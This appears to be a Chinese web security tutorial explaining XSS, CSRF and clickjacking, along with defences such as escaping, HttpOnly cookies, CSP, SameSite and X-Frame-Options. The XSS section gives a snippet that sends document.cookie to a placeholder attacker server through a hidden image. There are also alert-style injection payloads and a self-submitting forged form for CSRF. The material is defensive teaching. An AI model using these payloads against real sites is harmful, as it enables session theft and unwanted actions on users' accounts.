云筑网技术团队
助推建筑行业数字化
XSS跨站脚本攻击
CSRF跨站请求伪造
Clickjacking点击劫持
1.1 什么是XSS
利用页面动态插入包含 HTML 标签的字符串而导致浏览器把这些字符串视为 HTML 标签渲染,当这些标签包含可执行代码时候,如:
<script>alert(1);</script>
<img src="xxx" onerror="alert(1)"/>
<!-- video/iframe等等 -->
攻击者就可以利用可执行脚本进行想要的操作,或者获取需要的信息(用户登录凭证 Cookie / Token,用户登录账号密码,网站任意数据等)发送给自己,如:
/**
* `ajax` 发送数据会存在跨域情况
*
* 利用不受浏览器同源策略影响的标签,如 `img` 等
*/
var img = document.createElement('img');
/**
* 当然也可以是其他数据不一定是 `cookie`
*
* @example `localStorage.getItem('xxx')`
*/
img.src = '{攻击者服务器的某个地址}?data=' + document.cookie;
/** 隐藏降低被发现的可能性 */
img.style.display = 'none';
document.body.appendChild(img);
这样攻击者的服务器收到请求就可以通过解析 data 参数获取到用户的登录凭证,然后攻击者利用该登陆凭证进行某些非用户自愿的操作,如点赞、关注、私信、转账等等……
当然,也不一定需要去获取这些资料,可以直接发起某些操作的请求达到某些目的,如关注、点赞等,类似于 CSRF ”跨站“请求伪造,当然,这里是没有跨站的。
而根据这段恶意代码的工作方式可以分为两大类:持久型(存储型)、非持久型(反射型)。
顾名思义,跨站攻击恶意代码存储在服务器、数据库。
例如:攻击者在某社交网站 编辑个性信息 -> 用户简介 一栏填写恶意攻击代码并保存。而其他用户在访问攻击者的主页时,就会在不知不觉中被攻击者拿到其登录凭证,然后进行一系列非本人自愿的操作。
与持久型(存储型)相反,恶意代码并未在服务器存储,而是直接跟在 URI 参数上。
例如:某搜索的搜索结果页面代码如下
<div>搜索到关于<span class="keyword"></span>的结果如下:</div>
<!-- 或者 -->
<div>暂未搜索到有关<span class="keyword"></span>的结果!</div>
<script>
/** 伪代码,获取 url 参数中的 keyword 字段 */
var keyword = getUrlParams().keyword;
document.querySelector('.keyword').innerHTML = keyword;
</script>
当然,也可以是服务端模板渲染的,如:
<% if (list.length) { %>
<div>搜索到关于<span class="keyword"><%= keyword %></span>的结果如下:</div>
<% } else { %>
<div>暂未搜索到有关<span class="keyword"><%= keyword %></span>的结果!</div>
<% } %>
而攻击者只需要构造 http://xxxx?keyword=<script>攻击代码</script> 的 URL 并诱导用户点击访问,而大部分在看到该链接为XXX的“安全”地址就不会有太多想法。而当访问该页面同样会执行该恶意代码达到攻击的目的。
对页面需要渲染的“不可靠”字段尽可能进行转码或者使用 innerText 代替 innerHTML。
如果是富文本则需要对其中的 script、onerror、onclick 等可能被注入恶意代码的片段进行屏蔽,这些都可以利用第三方框架处理。
通过添加 Cookie 的 HttpOnly 属性指定某些 Cookie 只能在服务端操作,无法在客户端通过 JS 读取操作。但不能限制 Token 等其他方式的登录凭证。
Set-Cookie: auth=xxx;HttpOnly
通过设置响应头 X-XSS-Protection,其可选值以及说明:
X-XSS-Protection: 0:禁止 XSS 过滤
X-XSS-Protection: 1:启用 XSS 过滤。如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部分)。
X-XSS-Protection: 1; mode=block:启用 XSS 过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。
X-XSS-Protection: 1; report=<reporting-uri>:启用 XSS 过滤。如果检测到跨站脚本攻击,浏览器将清除页面并使用 CSP report-uri (en-US) 指令的功能发送违规报告。
注意:此属性不属于任何一个规范或草案的一部分,仅部分浏览器支持,现代浏览器大部分已经不再支持。
内容安全策略(CSP)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。可以通过响应头或者 meta 标签配置。
<meta http-equiv="Content-Security-Policy" content="default-src 'self';>
Content-Security-Policy: default-src 'self'
可以指定多个安全策略,语法:
Content-Security-Policy: <policy-directive>; <policy-directive>
而每个 policy-directive 可以有以下选项:
child-src:定义 worker、iframe、frame等合法地址
connect-src:限制能通过脚本接口加载的 URL
default-src:为其他取指令提供备用服务
font-src:设置允许通过 @font-face 加载的字体源地址
frame-src:设置允许通过类似 iframe 和 frame 标签加载的内嵌内容的源地址。
img-src:限制图片和图标的源地址
manifest-src:限制应用声明文件的源地址
media-src:限制通过 audio、video 或 track 标签加载的媒体文件的源地址
查看更多
而每个 policy-directive 的值可以同时指定多个,不限于协议,通配,域名等,如:
Content-Security-Policy: default-src 'self' *; img-src http:; font-src: *.aaa.com bbb.com;
所以可以通过 CSP 指定可加载资源以及可执行脚本的安全策略。
跨站请求伪造 Cross-Site Request Forgery,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF。
用户在某些网站 A 已经授权登录成功并保存登录凭证(以 Cookie 的方式存储登录凭证)的前提下,攻击者在自己的网站 B 上模拟网站 A 的某些操作的请求。
而当用户访问网站B时,这些请求会在后台静默发起并且携带网站A的 Cookie 通过验证并完成某些非用户自愿发起的操作。
这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。
攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的是欺骗用户浏览器,让其以用户的名义运行某些操作。
例如:
某社交网站给某人点赞的接口是 http://host/thumb?id=xxx,攻击者只需要在页面上模拟发起该请求,而当用户在社交网站已登录未过期时并访问该网站,就会在毫不知情的情况下给某人点赞。
当然这些模拟请求不会走 ajax,毕竟 ajax 受同源策略限制,不能跨域发起。
GET 请求一般可以直接通过嵌入 img 这种方式发起,如:
<img src="http://host/thumb?id=xxx" />
POST 请求也可以通过模拟 form 表单发起,如:
<form action="http://host/thumb" method="post" id="csrf">
<input hidden name="id" value="xxx">
</form>
<script>
document.querySelector('#csrf').submit();
</script>
系统只接受 ajax 请求,不处理非 ajax 请求,而 ajax 请求受浏览器同源策略限制无法跨域发起。
请求头中的 Referer 记录了请求的来源,可以校验该字段判断是否是自己网站发起的请求。
但是 Referer 是由浏览器自身提供的,浏览器对于 Referer 的具体实现可能有差别,并且也不能保证浏览器自身没有安全漏洞,是否存在可以篡改 Referer 的方法。
请求资源携带 Cookie 是浏览器的默认行为,但是 Token 这是自身网站代码所控制的。只需要后端在拦截器添加一层针对 Token 的校验即可。
Cookie 添加 SameSite 属性,指定 Cookie 允许的使用范围,如:
Set-Cookie: auth=xxxxx;SameSite=Strict;
指定鉴权的 Cookie 只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送。
SameSite 的可选值有:
Lax: Cookie:允许与顶级导航一起发送,并将与第三方网站发起的GET请求一起发送。这是浏览器中的默认值。
Strict: Cookie:只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送。
None: Cookie:将在所有上下文中发送,即允许跨域发送。
以前 None 是默认值,但最近的浏览器版本将 Lax 作为默认值。
在一些比较机密的操作时增加二次校验,如验证码、手机校验码、密码等。
点击劫持 Clickjacking,也被称为 UI-覆盖攻击。它是通过覆盖不可见的 iframe 误导用户点击达到完成某些非用户自愿发起的操作。
例如:攻击者开发一个网站内容为两层
底层:某种让人想要有点击欲望的图或者布局,如一个红包上面一个跳动的“开”字。
上层:通过 iframe 嵌套某社交网站他的主页,并且设置透明度为完全透明,同时通过定位让 iframe 上的某些操作按钮(如“关注我”)与底层引导点击区域(如例子中的红包“开”字)重叠
这样用户在点击“开”字实际点击上层透明的“关注我”,在毫不知情的情况下完成关注某人的操作。当然这些前提同样是用户已登录并且未过期的前提下。
不同于 CSRF 伪造的请求,这些请求都是在 iframe 中自身的网站并且由用户“自愿”发起的。
校验是否在 iframe 中并进行系列操作。
if (window !== window.top) {
alert('不允许在iframe中打开该页面');
location.href = 'xxx';
}
此方法并不一定可靠,攻击网站可以通过一些属性屏蔽 iframe 中的 javascript 代码。
添加 X-Frame-Options 响应头来指定该请求资源是否可以在 frame、iframe 中正常访问。
X-Frame-Options: deny
X-Frame-Options 有三个可能的值:
deny:表示该页面不允许在 iframe 中展示,即便是在相同域名的页面中嵌套也不允许。
sameorigin:表示该页面可以在相同域名页面的 iframe 中展示。
allow-from uri:表示该页面可以在指定来源的 iframe 中展示。
在一些比较机密的操作时增加二次校验,如验证码、手机校验码、密码等。